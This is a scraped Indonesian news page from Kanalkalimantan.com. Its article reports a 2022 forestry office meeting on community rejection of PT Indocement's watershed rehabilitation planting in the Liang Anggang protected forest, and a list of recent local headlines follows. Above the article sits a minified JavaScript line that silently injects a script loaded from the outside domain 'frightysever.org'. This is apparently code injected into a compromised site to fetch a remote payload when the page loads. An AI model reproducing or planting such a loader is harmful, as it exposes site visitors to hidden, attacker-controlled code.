(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Rehabilitasi DAS di Hutan Lindung Liang Anggang Mendapat Penolakan, Dishut Lakukan Rakor Penyelesaian


KANALKALIMANTAN.COM, BANJARBARU – Dinas Kehutanan Provinsi Kalimantan Selatan bersama Balai Pengelolaan Daerah Aliran Sungai dan Hutan Lindung Barito mengadakan rapat koordinasi untuk membahas penyelesaian masalah adanya penolakan kegiatan rehabilitasi DAS di Hutan Lindung Liang Anggang, Banjarbaru, Selasa (27/9/2022).

Adapun kendala kegiatan rehabilitas DAS ini dilaksanakan oleh PT. Indocement Tunggal Prakarsa, selaku pemegang persetujuan penggunaan kawasan hutan (PPKH). Berhadir dalam rapat. perwakilan pimpinan PT Indocement Tunggal Prakarsa, Yulizar, dalam kesempatannya menyampaikan terkait kendala penolakan dari masyarakat.

“Kita berkegiatan untuk menunaikan kewajiban penanaman PT.Indocement seluas 458 Hektar, Namun Ada beberapa kendala dalam kegiatan yang kami lakukan seperti terkait penolakan dari masyarakat yang dimana diawal kesepakatan setuju namun setelah berjalannya kegiatan tersebut ada yang menyampaikan penolakan yang disebabkan oleh provokator mengenai kegiatan penanaman kami dikawasan Hutan Lindung,” kata Yulizar.

 

Baca juga : Bupati Tanbu Lantik 99 Pejabat Administrator, Pengawas dan Fungsional

Menanggapi hal itu, Kepala Bidang Pemberdayaan Masyarakat Penyuluh dan Perhutanan Sosial (PMPPS) Dishut Kalsel, I Gede Arya Subhakti, memberikan saran untuk mengkonfirmasi kawasan maupaun luasan lahan terlebih dahulu. Sebab menurutnya perlu di petakan penggunaan lahan yang digunakan baik itu para Kelompok Tani Hutan (KTH), yang digunakan Hutan Kemasyarakatan (HKm), kemudian lahan warga/perorang yang berada dikawasan sekitar Hutan Lindung Lianganggang .

“Kami juga minta nanti kontak person yang bersangkutan (yang melakukan penolakan) untuk menyampaikan surat untuk koordinasi/mensosialisasikan mengenai tindak lanjut penyelesaian masalah ini,” bebernya.

Rakor Penyelesaian Permasalahan Penolakan Kegiatan Rehabilitasi DAS PT. Indocement Tunggal Prakarsa, Tbk wilayah KPH Kayu Tangi di Hutan Lindung Liang Anggang tersebut akan ditindak lanjuti dengan koordinasi bersama Kelompok Tani Hutan (KTH), Hutan Kemasyarakatan (HKm) dikawasan tersebut dan lahan warga/perorang dikawasan tersebut untuk melakukan konfirmasi dan pemetaan di kawasan/lahan tersebut. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Randi Juara Turnamen Billiard Bupati Kapuas Cup 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno didampingi Sekretaris Daerah (Sekda) Kapuas Septedy… Read More

20 menit ago

Peringati Hari Otda, Ini Kata Bupati HSU H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar upacara peringatan Hari Otonomi… Read More

1 jam ago

Tingkatkan Kompetensi 183 Kades se Kapuas Digembleng di Pusdiklat Kemenhan

KANALKALIMANTAN.COM, KUALA KAPUAS - Sebanyak 183 Kepala Desa dan Penjabat Kepala Desa (Kades) se Kabupaten… Read More

1 jam ago

Festival Budaya Tingang Menteng Panunjung Tarung 2025 Ditutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Festival Budaya Tingang Menteng Panunjung Tarung 2025 sukses digelar dalam rangka… Read More

1 jam ago

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

17 jam ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

21 jam ago